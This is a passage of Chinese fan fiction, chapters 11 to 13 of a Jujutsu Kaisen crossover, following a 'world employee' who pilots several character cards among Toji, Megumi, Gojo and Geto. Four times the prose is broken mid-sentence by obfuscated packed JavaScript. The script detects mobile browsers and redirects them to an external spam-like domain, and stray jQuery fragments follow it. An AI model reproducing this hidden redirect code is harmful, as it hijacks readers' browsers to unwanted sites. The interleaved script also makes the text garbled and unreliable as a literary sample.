做完这些,他伸伸懒腰,仰面靠在座椅上长舒一声。 “话说回来,还有四个月吧?” “对。”快速接上神隐脑回路的搭档把显示屏悬浮在操作台上,双手敲击着光拟键盘,“还有四个月就到天元同化的时间了。” 也就是天内理子和禅院甚尔的死期。 而距离伏黑隐来到高专也要将近一个月了,再过几天,就是春假了。 盯着默认板块上未投放的角色卡与身份牌,神隐问:“你觉得该怎么把甚尔捞出来呢?” 救人很简单,伏黑隐的术式能够在人死亡后的十秒内将人复活,这是他专门给需要救活的人准备的。 但难就难在要怎么在五条悟的眼皮子底下,把禅院甚尔复活,且日后还能平安无事地继续在高专生活。 也可以直接新开一张角色卡。 不过要向禅院甚尔解释救他的动机就有些麻烦了。 说是伏黑隐的好友,但来到这个世界统共两年时间,他从来没有在禅院甚尔面前提过自己有朋友。 嗯,伏黑隐有个设定就是无话不说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553958|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在和前搭档共事的那些日子里,有关自己的故事他说了不知道多少遍,就连不擅长记男人名字的禅院甚尔都可以做到倒背如流。 从前的伏黑隐已经彻底堵死了这个方法。 至于其他借口,那就更加不可能了。 凭他阅遍上千本小说的经验给伏黑隐设定的人设,大多数病人醒来时第一眼见到这样的医生,不说加好感,至少不会对他产生恶意。 而禅院甚尔,他在醒过来的第一时间,就掐住了伏黑隐的脖子,差点让角色卡当场废弃。 最后不给钱就走了。 是的,他白嫖了这次治疗。 或者说,从认识到禅院甚尔提出他们成为搭档的建议之前,在那煎熬的一年零四个月的时间里,禅院甚尔都在白嫖。 后面做搭档了给钱倒是大方。 接悬赏得到的赏金,伏黑隐能分到百分之五。 百分之五。 捣鼓着新装备的搭档听着神隐半吐槽的话语,思索片刻,说:“不是还有一张未设定的角色卡吗?” “好像也是。” 神隐若有所思,从角落里翻出一张半落灰的角色卡。 - 这是一张除了名字,和高武力值设定外完全空白的人物卡,在公司里,扮演他的员工名为神白。 是神隐的孪生兄弟。 双胞胎,常常分为两个极端,亲密无间与生死仇敌。 他们之间的关系便是后者。 从学会说话开始就相互作对的兄弟长大成为同事,关系自然也不会变得融洽。 神隐非常看不惯这个比自己早1.2秒出生的家伙。 看不惯到一出差就把他的人物卡设置成傻子的程度。 哦对,在这个世界,神白是神隐的弟弟。 小了整整十几岁的弟弟。 神隐:“好像可以直接用他。” 傻子偶尔恢复一下正常也是能够理解的吧? 因为清醒的时间少,所以到底什么性格也无人知晓。 即使性情大变也可以说是因为傻了太久的原因。 他放大这张角色卡。 “不过给这家伙什么身份好呢……” 武者? 最佳演员? 好像都可以。 搭档取出一根磨牙棒,将另一张身份牌移到神隐眼前:“骑士也可以,能保证天内理子和禅院甚尔都不受伤。” 神隐摇摇头。 “但在面对五条悟的时候,多半会成为张一次性角色卡,骑士本身太脆弱了。” 搭档咬着磨牙棒,把备选池第二张卡牌放大。 “那就武者吧,演员机制太克双面了,等神白过来,第一个受苦的就是我们。” 世界稳固之后,为了稳妥,老板还会多派几位员工过来,神白的工作能力位于员工前三名,他肯定是会过来的。 经过搭档提醒,神隐也想到了这一点,他认可道:“你说的有道理。” 在能够完成工作的情况下,还是首先用对自己起不了威胁的身份牌吧。 神隐在『武者』的身份牌上点击了确认链接。 过于年幼的建模融合了武者身份,看起来变化不大。 也能理解。 五岁的小屁孩能有什么变化? 总不可能一融合就飞快长大成为一个肌肉混蛋。 至于术式…… 神隐思考着,决定三个月之后再说。 11. 第 11 章 神隐每次使用神白这张角色卡的时候,都有一种很怪异的感觉。 这种感觉,就像依次用第一视角、第三视角、还有上帝视角观看自己摔倒时的场景一样。 因此,从创建伏黑白到现在,神隐只使用过这张角色卡两次。 …… [——意识载入中——] [——载入成功——] 京都. 人来人往的街道被灯火染成迷醉的暖橘色。 木楞着站在伏黑津美纪身后、和姐姐一起排队买章鱼烧的男孩指尖动了动,突然眨了下眼睛。 纤长的睫毛颤动,像是初次振翅的蝴蝶。 他安静地环顾一番四周,随后伸出手,碰了碰姐姐的手臂。 “……津……津美纪?” 声音像是久未开启的门扉,每个音节都带着锈迹,在姐姐看过来的惊讶目光中,有着与哥哥极相似样貌的男孩再一次缓慢地眨了下眼。 “我……我是……我是伏黑白。” “我的哥哥叫隐。” “我的姐姐叫津美纪。” “哥哥的电话号码是……” 伏黑白的话语停顿了一下,而后流利地报出一串数字。 晚风吹起墨色碎发,露出鲜红如血的眼睛。 那是一双只需简单扫过一眼,便让人不寒而栗的不祥之瞳。 “我、我一个人在,就是迷路了。” “请让哥哥来带我走。” 这是之前和世界意识沟通,在津美纪记忆里留下的、有关伏黑白清醒时的一些记忆。 嗯,就跟开机动画一样。 伏黑白“开机”也有自动语音。 至于为什么要安排这个? 当然是为了让神白来到这个世界的第一时间,就能够感受到来自兄弟的关怀啊。 只要不耽误工作进程,这些无伤大雅的捉弄老板都不会管。 神隐嘿嘿一笑。 搭档吐槽:[真猥琐。] 神隐回怼:[你别管。] “小白!” 津美纪惊喜地抱住他,“好久不见,小白。” 伏黑白很少有清醒的时候,在津美纪的记忆里,加上这一次,她也只见到过三回清醒状态下的弟弟。 而在黑发红眼的男孩浅薄的记忆里,同样还有着上一次见到津美纪的画面。 现年五岁,记忆只有不到两个小时的男孩说道:“好久,不见,津美纪。” 伏黑白的声音停几秒,他回想着以前说话的记忆,很快话语就流畅了起来。 “津美纪,这是在哪里?” “是中华街。” 伏黑津美纪回答:“甚尔先生说家里的食物不够了,就顺便带我们出来……小白还记得甚尔先生和小惠吧?” 等等。 甚尔? 禅院甚尔? 像是接触不良的线路,在认知的断层间迸出火花,伏黑白的脑袋迟钝地卡壳了一下,“甚尔先生?” 伏黑隐不是和禅院甚尔吵架了吗? 他来见津美纪和伏黑白干什么? 无数疑问在有限的脑容量中冲撞,让他一时怔在原地,津美纪见他露出茫然的神色,索性拉住伏黑白的手腕,从队列中离开朝右方走去。 “想不起来也没关系,”她柔声说,“见到甚尔先生应该就能记起来了。” 他们不是分道扬镳了吗? 披着伏黑白壳子的神隐疑惑。 带着对禅院甚尔为什么会出现在这里的好奇,神隐没有第一时间脱离角色卡。 很快,被津美纪拉住的他看到了刚走出便利店的男人——男人单手提着购物袋,另一只手拿起打火机,点燃了嘴里的烟。 “甚尔先生!” 嘴唇留着道竖疤的男人闻声转头,见他们过来时眉梢一挑,声音带着常有的漫不经心:“不是去买吃的了吗?” “这位就是甚尔先生。”津美纪轻轻将弟弟往前推了推,声音里带着期待,“怎么样,小白看到他有想起什么吗?” 伏黑白抬起头。 离得太近了,只能看见男人被深色衣服包裹住的身躯,第一眼没看见脸的他后退一步,这才对上那双总是懒洋洋垂着的眼睛。 “这是清醒了?” 禅院甚尔同样注视着面前的男孩。 原本被血色填满的眼瞳有了些滞缓的神采,除去发色与眼睛,近乎与兄长一模一样的男孩面无表情望着他,仿佛在本就不多的记忆搜寻着禅院甚尔的脸。 禅院甚尔蹲下身,烟草气混着危险的压迫感扑面而来,他端详着男孩逐渐聚焦并升起警惕的瞳孔,对着这张稚嫩的脸嘲笑道: “喂,不会想不起我是谁了吧?” “我记得。” 伏黑白伸手,指着禅院甚尔的鼻子,“你是不给钱的混蛋。” [哇,我终于把这句话说出来了。] 神隐在意识深处满足地叹息。 “那都是一年前的事情啦。”津美纪急忙打圆场,“甚尔先生现在是哥哥的搭档。” 她说着,从随身小包里翻出一张照片,递到伏黑白的面前给他看。 照片上,白大衣上沾着点血迹的少年按住男人肩膀,从前整齐的卷发也散开,似乎经历过一场打斗,显得非常凌乱。 被按着坐在沙发上的男人仰头,模样懒散,他正和面色不虞的少年说了些什么,嘴角勾起不显眼的弧度。 背景是气球,飘带和绚丽的彩灯。 是禅院甚尔和伏黑隐的合照。 [津美纪居然还会保存这种东西……] 这是之前在小惠生日时拍的照片。 那个时候,甚尔刚接了个北海道的悬赏准备离开,连票都买好了,还是他拖着肩膀死皮赖脸好说歹说,才勉强将人留下。 照片就是在甚尔刚被伏黑隐按在沙发上,不让他离开的时候,孔时雨抓拍到的照片。 现在一看, 当时的甚尔也没有那么抗拒嘛。 神隐心念微动,不受照片影响继续说:“哥哥说他是不给钱的混蛋。” 津美纪无奈地收回照片,耐心解释:“现在的甚尔先生已经不是了。” “他是混蛋。”伏黑白声音坚定。 “不是的,甚尔先生已经……” “他是混蛋。” “……” 听着姐弟俩说的话,禅院甚尔轻笑一声,心情不错地止住了他们无休止般的争辩。 “行了,回去再吵。” 被迫闭嘴的伏黑白晃了晃头,没甩掉自己头顶的手掌,反而让男人得寸进尺地揉乱了他的头发。 “放开我。” 他努力去扳那只手。 还是没成功。 禅院甚尔胸腔里溢出的低笑像是闷雷。 接着,伏黑白的视野突然升高,等他回过神,发现自己已经坐在了男人臂弯里。 禅院甚尔抱起他,自然地迈开脚步。 神隐:? 什么情况? 他低下头,看到伏黑津美纪习以为常地走在禅院甚尔旁边。 神隐茫然。 是不是有哪里不对劲…… 一直到禅院甚尔打开屋门,把神隐放到玄关处让他自己换鞋的时候,他还在发懵这到底是什么情况。 在之前,这样的情景偶尔也会发生,他们约定过在分开行动的时候,谁先忙完,谁就负责带孩子。 大多时候,可以说是百分之九十九的时候,都是伏黑隐在带。 连自己都要靠别人养的小白脸愿意无偿给自己养孩子……嘶,有点诡异。 伏黑白换上拖鞋,抬步往里走。 这是之前伏黑隐和甚尔搭档时居住的公寓,四房两厅,两张角色卡睡一间,其余人一人一间。 后面因为要不要去高专的问题,他和禅院甚尔吵架,伏黑隐直接搬离了这里。 又因为惠是世界点名要重点关注的人物之一,他念及着后面还要让惠改姓伏黑,就没有告知津美纪和惠他们吵架的事情,也没管津美纪和小惠后续的联络往来。 没想到禅院甚尔也没有说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553959|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >甚至还在伏黑隐去高专上学的日子里,当作一切都没有发生,若无其事地继续扮演着监护人的角色。 难怪伏黑隐和津美纪通话的时候,津美纪都说一切都好,让他放心上学。 原来是禅院甚尔在帮忙养啊。 - [甚尔他……] 面对这份意外,神隐陷入沉思。 难得看到神隐这副正经模样的搭档紧张道:[怎、怎么了?] 难道说禅院甚尔觊觎…… [他不会想让我当他的儿子吧?]神隐郑重其事,[打算先斩后奏让津美纪认他做爸爸,等我回去就会发现津美纪已经改姓禅院了。] 他越说,越觉得这个猜测有道理。 [然后为了妹妹,我也不得不改姓禅院,认贼作父。] 搭档:[……难怪你写的剧本老板不通过。] 神隐:[你侮辱我?] [哈?客观吐槽就是侮辱了?!] [你这是在变相说老子写的剧本难看!] [就是难看就是难看!难看难看难看难看死了!] [死破烂!] - 和搭档吵完一架,神隐回神,发现自己手上不知何时被人塞了部游戏机,暂时不想看见这个世界任何一部游戏,神隐下意识扔掉了它。 “你不喜欢吗?” 身旁传来稚气的询问,他转头对上禅院惠翡绿的眼眸,摇头:“不喜欢。” - 他决定了。 这个人物卡以后最讨厌的就是游戏。 - 禅院惠默默放下游戏机,又问:“你要看电影吗?” 他从电视柜翻出一张光碟,上面印着当红的动画电影封面。 “我们一起看吧。” 禅院惠说。 …… 禅院惠。 根据世界意识的诉求,他需要拥有一个家庭,不痛苦的童年和一位顶天立地的长辈。 因此,在禅院甚尔某天闯入旧诊所,毫不负责地将手里刺猬头扔过来时,伏黑隐就理所当然地越俎代庖,成为了禅院惠的长辈。 四岁的禅院惠有近两年的时间和伏黑隐待在一起。 如果能现在改姓就好了。 可惜了。 他没有十个亿,也打不过禅院甚尔。 神隐叹息一声,将意识从角色卡中收回来。 三开还是太困难了。 - “你不喜欢看这个吗?” 旁边突然没了声音,还以为伏黑白不喜欢看的禅院惠开口问。 没有人回答他。 禅院惠转过头看,发现伏黑白的眼睛再一次被血色填满,变回了一开始的空洞木讷。 他愣了一下。 然后失落地关掉电视。 …… …… “伏黑,我和悟去袚除咒灵,你要一起吗?” 听到这句话,趴在课桌上补觉的伏黑隐睡眼惺忪地抬起头,望向丸子头少年。 夏油杰在耐心地着等待他的回复,看着伏黑隐的眼神带着明显的期待。 看了一会儿,伏黑隐疲惫地将额头抵在桌面,声音有力无气。 “谢谢前辈的邀请,但是我还要去医务室……”说着说着,少年的语调轻了下去,好像又要睡着了。 “不用在意那些烂橘子啦!” 另一个白发少年长腿一迈,瞬间凑到伏黑隐的课桌旁,一只手大大咧咧搭在他的椅背上,“他们有病会自己去看的。” “老子和杰可是最强,带你出去一趟超——级简单!” 五条悟拖长调子,顺带握住了伏黑隐的肩膀。 “隐就放心和我们去玩吧。” 那双璀璨明亮的苍蓝色眼睛撞进伏黑隐昏沉的视野,与天空一样绚丽的色彩里有着近乎狂妄的自信。 很美丽。 是不管是多少次看见,都会被震撼到的美丽。 “……” 没有人会拒绝这样一双眼睛。 伏黑隐想。 12. 第 12 章 ……… 五条悟拉着伏黑隐高兴地跳上了夏油杰的飞行咒灵。 “那我们现在就出发吧!” 决定逃课后,瞬间恢复活力的伏黑隐举臂欢呼:“走咯!” 这是我的咒灵吧。 夏油杰无奈地笑了笑,站在了伏黑隐的另一侧。 “走吧。” 他说完,脚下的蝠鲼飞到高空之中。 “这就是拥有飞行坐骑的快乐吗!” 伏黑隐双手撑在咒灵身上,兴奋地往下探头:“太酷了!” 夏油杰和五条悟对视一眼,都没说话。 …… ……… 据辅助监督所说,这是一个由人类对于绝症的恐惧而诞生出的可成长性咒灵。 它拥有极强的学习与再生能力,于两天前天诞生在这座医院,当时的评级只有二级。 直到京都咒术高专派过去的学生一死一重伤,『窗』才发现不对劲的地方——那里的诅咒气息在随着时间而增长变强。 于是等到五条悟三人到来的时候,咒灵已经在隐隐向特级的方向成长了。 而此刻,咒灵正藏在他们走进的这栋住院楼中。 …… 这里是人类滋生绝望的温床。 纯白的墙壁浸透无声的哭泣与祈求。 有人崩溃大哭,为来不及绽放的人生,有人仓皇跪地,祈求手术灯下的至亲能够平安——那些痛苦与祈祷,最终都凝固在消毒水的气味里。 一张又一张白布掩盖住人类对生命的热恋,强硬地隔绝了灵魂对世界的亲吻。 同样的,也承受了无数戾气与伤害。 辱骂与暴力成了少数人唯一熟悉的语言。 从破旧的出租屋,到喧嚣的街头、深夜的便利店,最后将一切指向这里。 活不到寿终正寝的器材在他们扑过来时毁灭,墙壁在他们握着武器砸过来时凹陷。 鲜血,绝望,痛苦,癫狂。 这里从不缺少。 从初建时光鲜亮丽的洁白无瑕,至如今连路过都觉寒凉的废弃建筑,它的里面埋藏着太多、太多的秘密了。 而从某一天开始,它重新打开了大门,面向世人微笑。 ——这是『黑白游戏』里其中一个地图的随机文案。 它的名字叫做慈恩医院,在故事背景中,它是一家倒闭多年的医院。 玩家会成为曾经在医院待过的人。 医生,保安,病人,清洁工,家属…… 神隐在里面的身份是一个治死了很多人、战绩堪比森鸥外的庸医。 - 时隔多年,神隐再次走进了医院。 以咒术师的身份。 - “隐有袚除过咒灵吗?” 来到提前清空的楼层,五条悟摘下墨镜,苍蓝色的瞳孔看着眼前满是咒力残秽的过道。 走在两人后面的伏黑隐闻言,回复道:“只袚除过三级以下的咒灵,再高的,我就打不过了。” 他给自己设定的能力算是纯治疗,净化也只能净化人体上的污秽。 本以为会相信的五条悟却摇头,否定了伏黑隐的说辞,“但是隐明明拥有袚除一级咒灵的能力吧。” “啊……那个不能多用。” 在六眼面前抵赖是不切实际的幻想,伏黑隐只能将真话包装得模棱两可一点。 在没有玩家死亡的情况下,成为『双面鬼』的玩家虽说成为了“平民”,但作为游戏,自然不会让玩家玩得不尽兴。 玩家可以通过消耗数值使用『双面鬼』的技能。 『堕落者』阵营的身份有三个技能,需要淘汰四名玩家才能完全解锁。 越往后解锁的技能,所需要消耗的数值越多。 相当于将生命献祭给恶魔。 伏黑隐望着过道光洁的墙砖,透过隐约的反光,对上属于自己的金色眼睛。 “而且也只是普通得不能再普通的鸡肋术式啦。” 对高感知的敌人完全没有作用。 “是类似结界术的术式吗?”走在中间的夏油杰突然问。 “差不多吧。”伏黑隐回想技能说明,“不过没有结界术那么强大就是了。” 这是『双面鬼』自动获得的零阶技能,通过触碰而短暂迷惑角色的行动与五感。 也是与其余角色对战时最常用的辅助技能。 听到学弟的解释,五条悟摸摸下巴,表情看起来有些不相信:“隐,你可以避免建筑损坏吧?” 因为距离这层楼里,还有不少重要的病例与资料,他们的动作不能太大,至少不能大面积地摧毁掉建筑,这是在来之前辅助监督的恳求。 而畏手畏脚显然不是五条悟的风格。 - [……他被江户川乱步魂穿了?] 面对五条悟开户一样的问题,神隐有些汗流浃背,[这不应该看出来啊。] 他都没激活这个技能。 搭档:[毕竟是主角嘛,身上有挂很正常。] 世界意识:[那个……其实他不是主角……] 搭档:[?] - 由于横跨的时间节点太长,两边的世界线走向神隐和搭档都只看了前半部分,也就是五条悟入学到高专三年级,太宰治10岁至16岁的故事线。 按道理来说,每个世界最强大的那个人统称为主角,因此他们一直以为五条悟就是这半边世界的主角,后续剧情就是最强统一咒术界登基为王的大爽文。 没想到居然不是吗…… 那主角该有多强?或者说天赋到底有多高? 伏黑隐定定神,没有反驳五条悟的话。 “前辈到底是怎么知道这些的。” 世界意识也说这个六眼看不出来啊。 他嘀咕着,激活了双面鬼的第一个主动技能。 - 『一阶-空镜』 技能效果: 立即创造一个与当前环境完全相同的临时异次元空间,完美复制范围内所有非生命实体,并将指定目标强制转移至该空间内。 角色能否察觉世界已被转换,与其感知数值直接相关,感知数值越高,越有可能发现。 感知力数值过低的角色将对此一无所知。 特性: 1.临时存在:空间仅能维持有限时间,持续时间结束后,空间崩解,所有角色返回现实世界原位。 2.单向隔绝:空间独立于现实,无法感知和影响到外部现实。 …… 白发少年将掌心贴紧地面,暗红色图腾从掌心接触的地方迅速蔓延到墙壁,最后覆盖完一整层楼。 五条悟的六眼能清晰地看到一个类似于账的深色罩子笼罩住了这里,上面流转着陌生字符的图纹。 “这样才对嘛。” 六眼视野突然干净很多,五条悟好心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553960|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地活络着筋骨,以夸张的力度伸了伸懒腰,然后目标明确地朝着某个地方走去。 而夏油杰同样笑眯眯地召唤出了咒灵。 “伏黑,结束之前,就先躲在我们后面吧。” 竟然一点惊讶都没有吗…… 伏黑隐没有想太多,他收回手,从地上站起来,老老实实走在夏油杰身后。 - [我怀疑他们带我出来就是为了掀我底牌的。] 根本没想过会在这时候激活技能的神隐吐槽:[下次我要弄一个咒术师和异能者的洋葱版杂交角色卡。] - 肉瘤遍布泥鳅状的尾巴、没有眼睛的庞大咒灵愤怒地发出尖啸,从肉瘤里喷射出的尖刺伴随毒液撒向四周。 [哇,好恶心。] 搭档恶寒地关闭了视线共享。 “它的术式就是皮肤上分泌出的液体,只要触碰到就会立马感染病症,身体在半个小时内消融死亡,是个只要一中招就无解的术式。” “空气里也有他的毒气,这个不致命,只是会生大半年的病。”特意给咒灵留了一口气,五条悟朝挚友挤眉弄眼:“杰,这是准特级哦。” 随着五条悟的解说,咒灵又凄厉地尖啸一声,它甚至没有嘴巴,伏黑隐猜测它应该是用屁股在说话。 紧急给自己屏幕打了码的搭档疑问:[为什么不能是肚脐眼?] 肚脐眼说话要更合理吧。 神隐:[因为它长得很重口。] 术式也很重口。 - 战斗结束的很快,夏油杰成功将奄奄一息的咒灵变成了咒灵球。 第一次见咒灵球,伏黑隐好奇地戳了戳,没什么触感,“前辈现在不吃吗?” 夏油杰嗯了一声,“等会儿吧。” 他把咒灵球放进口袋。 刚好,伏黑隐的术式自动消散,三个人从最右边病房回到了术式发动之前的走廊。 “伏黑有想去的地方吗?” 夏油杰转头,从地面爬起来的少年甩甩头,卷发像按了快进后的白云一样攒动。 他拍拍手上的灰,闻言露出笑:“我只想出来透透气啦,前辈们去哪里我跟着一起去就好了。” 恰好电梯门开了,五条悟迈开腿率先走进去,“这样的话……” “就让老子带隐去玩吧!” 戴着墨镜的白发少年自信地说道。 看见挚友这副模样,夏油杰额角抽搐:“……别又是去甜品店假扮一家三口骗家庭套餐啊,悟。” “这样好像也可以。” “悟,你正经一点吧。” - “隐!快来这边!” “来了!” 人声鼎沸的游乐园,少年将自己的超大份棉花糖暂存到工作人员的手里,雀跃地追上两位前辈的脚步,钻进过山车等候区的阴影里。 在少年期待的目光中,列车慢慢攀爬到最顶端。 这个时候,坐在最后面的夏油杰和五条悟对视一眼,默契的一左一右举起了伏黑隐的手。 突然失去双手控制权的伏黑隐:“诶?” 夏油杰:“要开始了。” 五条悟:“冲啊!!” 风压得人睁不开眼,却在视野的缝隙中漏进斑斓光点。 直冲而下的列车,浪潮般的尖叫声中偶尔响起一两声欢呼,最后排的少年笑容灿烂,头发如飞鸟振翅在蔚蓝天空下自由飘动。 13. 第 13 章 夏油杰刚踏进甜品店,就听到了挚友那标志性、带着点欠揍腔调的熟悉声音: “诶——隐居然没有来过这里吗?好逊哦~” 五条悟一手撑着下巴,墨镜滑落到鼻尖,苍蓝色的眼眸透过镜片上方,毫不客气嘲笑着对面的白毛学弟。 “因为之前完全没有时间玩嘛,虽然比现在空闲很多,但还是一直在给伤患治疗伤势。” 不管在哪里,想要救人的医生都是很忙的啊。 包括黑医。 完全不在意学长嘲笑的伏黑隐说完,带着初来乍到的新奇,好奇地啜饮了一口五条悟为他点的、色彩缤纷的气泡饮料。 “哇,”伏黑隐发出一声没见过世面的惊叹,“好好喝!” 他顺带给搭档共享了味觉。 [你能尝出来这什么配方吗?] [嗯……]搭档咂咂嘴:[可以复刻,不过部分材料我们这边没有,我去商城找找有没有平替。] 有平替的话,以后在总控空间站的时候也能喝到了。 这两天,应该是卸下道具的原因,五条悟和夏油杰对他的态度慢慢冷却下来,总算不会有人大半夜没事干来敲伏黑隐的宿舍门,把他吵醒拉起来通宵打游戏了。 为防止两个人在自己身上找到异常的原因,伏黑隐至今头上还戴着低配版的无能力小狗发卡。 风平浪静了那么久,他们应该没有发现不对劲的地方。 伏黑隐满足地又喝了一口,余光忽地瞥见落座在自己身旁空位的夏油杰。 从外面回来的丸子头学长面色有些苍白,发现学弟的目光,疑惑地回望过来。 “怎么了?伏黑。” “还是第一次见到夏油前辈的脸色那么差啊。” 少年含着炽阳的眼睛明净,映出他略显狼狈的神情,夏油杰愣了愣,刚想开口,挚友就主动替他解释道: “杰每次收服完咒灵都是这样子,过一会儿就好了。” 这正是夏油杰准备说的,他点头:“嗯,就是这样。” “原来如此。”得到回答,伏黑隐的目光又忽而落在了面前的蛋糕上,这也是五条悟为他点的,“那夏油前辈要好好休息啊,面色那么差,收服咒灵的时候一定很累吧。” 咒灵玉是什么味道呢? 回想起医院那只咒灵的样子和术式,伏黑隐拿起叉子。 总之不会是好味道就是了。 他叉起蛋糕上那颗雪白蓬松的棉花糖咬了一口。 下一秒,极致的甜味如同炸弹般在口腔爆炸,汹涌的糖分给舌头主人带来了发苦的错觉。 少年那张总是带着笑容的精致面容瞬间皱成一团,漂亮的金色眼眸猛地眯起,整个人都仿佛被这过分的甜度冲击得缩小了一圈。 他肩膀不自觉地瑟缩,发出一声短促的、被腻到的抽气声。 “哈哈哈哈哈哈哈隐你这个表情好搞笑哦!” 五条悟毫不客气地嘲笑出声。 没来得及切断共享的搭档也在工位上缩成一团:[哇靠,这是人类能接受的东西吗?!] 就在伏黑隐被这个甜度甜到怀疑人生的时候,一只骨节分明的手握着咖啡杯,稳稳递到了他的唇边。 “喝这个缓一缓吧。” 夏油杰的话语里也带着压不住的笑意,显然,他也觉得这样的场景很有意思。 伏黑隐几乎是本能的张开嘴,任由那微烫的、带着浓郁香气的黑咖啡流入口中——苦涩迅速冲刷掉口腔里令人窒息的甜腻,少年紧锁的眉头这才松开,劫后余生般长舒一口气。 “……得救了,谢谢夏油前辈。” 伏黑隐心有余悸地将那碟蛋糕推远了些。 “不用客气。” 夏油杰放下咖啡杯,转而翻开菜单,手指在几款甜品上划过,最终停在其中一栏,“隐要不要试试这道,不会太腻。” 对甜品毫无经验,都没有吃过的伏黑隐点头:“好,听你的。” 坐在对面的五条悟看看这个,看看那个,随即快乐地把伏黑隐的蛋糕扒拉到自己面前。 戴着墨镜的白发少年叉起一大块沾满糖霜的蛋糕,一边塞进嘴里,一边用叉子虚点着伏黑隐,含糊不清地谴责道: “这可是老子忍痛分享给隐的,隐你居然不喜欢吃,真是太过分了。” 重新点完单的伏黑隐闻言抬起眼,送给对面那个嗜甜如命的白毛一个死鱼眼。 “那么甜,也就只有五条前辈会喜欢吧。” …… 这一天三个人都玩得足够尽兴,直到深夜时才回到高专。 伏黑隐回到宿舍,从口袋里掏出那部沉寂了一整天的手机,拇指按下开机键。 首先映入眼帘的,是锁屏上密密麻麻的、红得刺眼的未接来电提示——二十几条,全部来自于总监会。 哦,还有信息。 伏黑隐甚至懒得点开查看具体内容,手指滑动,干脆利落地一键清空。 随后他拎起睡衣,打着哈欠进了浴室。 平静下来后的心情随着夜色变得倦怠,像是有捕获梦境的妖精在催促少年快去到梦里去。 水雾氤氲,拂过疲惫的眼睛。 他开始想起一天只做一场梦的以前。 …… …… [不能一直这样下去。] 喧哗闹腾的夜市,黑发血眸的男孩踮脚,接过商贩递来的糖葫芦。 他面上没有多少表情,看起来和玻璃柜里展示的娃娃一样毫无生命力,无光的眼珠一转,男孩不发一语地朝金鱼摊走去。 数十个玻璃水缸排列整齐,五彩斑斓的金鱼在其中游弋。 使用伏黑白这张角色卡的时候感觉还是有点怪异,神隐咬住一颗山楂球,拿起三只纸网和浅底铝盆,在水缸前坐下。 [再不反抗,我的角色卡怕是要彻底被关在不见天日的房间里,日夜不休地去给高层当免费医生了。] 在外面玩了一整天,神隐更加不想工作上学了。 哪有在出差的世界里还当打工人的。 他将纸网浸入水中,瞄准了一条红白相间的和金。 [不对,这不是打工人。] 学习了不少这个世界知识的搭档表示:[你这叫黑奴,还是上赶着让人奴役的受虐狂黑奴。] 纸网触水即软,金鱼尾巴一甩,薄膜破了。 男孩拿起第二只纸网。 [谁知道那群老东西会把我往死里压榨。] 他还以为自己会得到和家入硝子差不多的待遇。 ……也确实差不多,怕他真的跑路,总监会给的工资非常丰厚。 只不过工作量比家入硝子多三倍罢了。 神隐:[我得找个时间给总监会找点麻烦。] 他这次选了条最小的鱼。 纸网托起金鱼离开水面,男孩屏息凝神,然而就在纸网带着鱼转移的刹那——纸网中央出现了一个洞,金鱼就这样捅破纸网,翻滚着落回水中,溅出冰凉的水花。 望着重回水中的金鱼,男孩平静地放下破网。 搭档:[你觉得放火怎么样?] 神隐:[再偷点钱吧,学者那边好像要没钱了。] 尝试着适应三开视角的神隐拿起最后一只纸网,开始思考下一个玩什么。 他是在津美纪和惠睡着后偷溜出来的,禅院甚尔没在家,估计去找富婆蹭吃蹭喝了。 离开前,神隐往门口放了个隐形监视器,能够保证他在甚尔回来、或者津美纪醒过来之前回去。 应该不会被发现。 纸网又破了。 神隐坐在凳子上和搭档讨论着还有什么没有玩过,正说到在系统商城买点烟花去河边放,他的旁边突然坐下一个人。 “要这样,才容易捞到鱼。” 神隐扭头,年龄相仿的男孩穿着和服,神情恬静,他卷起大袖,拿起纸网入水,“不要急于行动,慢一些。” 男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553961|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,垂眼静静观察。 神隐觉得有趣,也跟着他看。 就这样等了几秒,一条纯白的金鱼缓缓从他们视野游过,它的鳞片在灯光下闪耀着珍珠般的光泽。 “看到它了吗?”男孩轻声说道,“我们耐心一点。” 